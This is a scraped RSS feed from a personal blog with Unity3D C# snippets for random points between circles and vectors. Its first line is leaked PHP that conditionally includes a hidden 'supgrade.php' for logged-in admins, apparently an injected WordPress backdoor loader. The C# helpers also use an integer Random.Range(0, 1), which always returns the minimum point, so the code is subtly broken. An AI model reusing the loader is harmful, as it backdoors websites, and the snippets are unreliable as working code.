if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
c# – Ashwin Sinha http://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:57:58 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 http://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png c# – Ashwin Sinha http://ash.wine 32 32 Getting a random point between two concentric circles in Unity3D http://hacks.ash.wine/getting-a-random-point-between-two-concentric-circles-in-unity3d/ Thu, 07 Jul 2016 18:04:00 +0000 http://ash.wine/?p=282

Getting a random point between two concentric circles in Unity3D

/// <summary>
/// Returns a random point in the space between two concentric circles.
/// </summary>
/// <param name="minRadius"></param>
/// <param name="maxRadius"></param>
/// <returns></returns>
Vector3 GetRandomPointBetweenTwoCircles(float minRadius, float maxRadius)
{
    //Get a point on a unit circle (radius = 1) by normalizing a random point inside unit circle.
    Vector3 randomUnitPoint = Random.insideUnitCircle.normalized;
    //Now get a random point between the corresponding points on both the circles
    return GetRandomVector3Between(randomUnitPoint * minRadius, randomUnitPoint * maxRadius);
}

/// <summary>
/// Returns a random vector3 between min and max. (Inclusive)
/// </summary>
/// <returns>The <see cref="UnityEngine.Vector3"/>.</returns>
/// <param name="min">Minimum.</param>
/// <param name="max">Max.</param>
Vector3 GetRandomVector3Between(Vector3 min, Vector3 max)
{
    return min + Random.Range(0, 1) * (max - min);
}

GetRandomVector3Between taken from https://gist.github.com/Ashwinning/269f79bef5b1d6ee1f83

]]>
Find a random point between two Vector3 points. http://hacks.ash.wine/find-a-random-point-between-two-vector3-points/ Thu, 03 Mar 2016 19:02:00 +0000 http://ash.wine/?p=294

Find a random point between two Vector3 points.

    /// <summary>
    /// Returns a random vector3 between min and max. (Inclusive)
    /// </summary>
    /// <returns>The <see cref="UnityEngine.Vector3"/>.</returns>
    /// <param name="min">Minimum.</param>
    /// <param name="max">Max.</param>
    /// https://gist.github.com/Ashwinning/269f79bef5b1d6ee1f83
    public Vector3 GetRandomVector3Between (Vector3 min, Vector3 max)
    {
        return min + Random.Range (0, 1) * (max - min);
    }

 /// <summary>
    /// Gets the random vector3 between the min and max points provided.
    /// Also uses minPadding and maxPadding (in metres).
    /// maxPadding is the padding amount to be added on the other Vector3's side.
    /// Setting minPadding and maxPadding to 0 will make it return inclusive values.
    /// </summary>
    /// <returns>The <see cref="UnityEngine.Vector3"/>.</returns>
    /// <param name="min">Minimum.</param>
    /// <param name="max">Max.</param>
    /// <param name="minPadding">Minimum padding.</param>
    /// <param name="maxPadding">Max padding.</param>
    /// https://gist.github.com/Ashwinning/269f79bef5b1d6ee1f83
    public static Vector3 GetRandomVector3Between(Vector3 min, Vector3 max, float minPadding, float maxPadding)
    {
        //minpadding as a value between 0 and 1
        float distance = Vector3.Distance(min, max);
        Vector3 point1 = min + minPadding * (max - min);
        Vector3 point2 = max + maxPadding * (min - max);
        return GetRandomVector3Between(point1, point2);
    }
]]>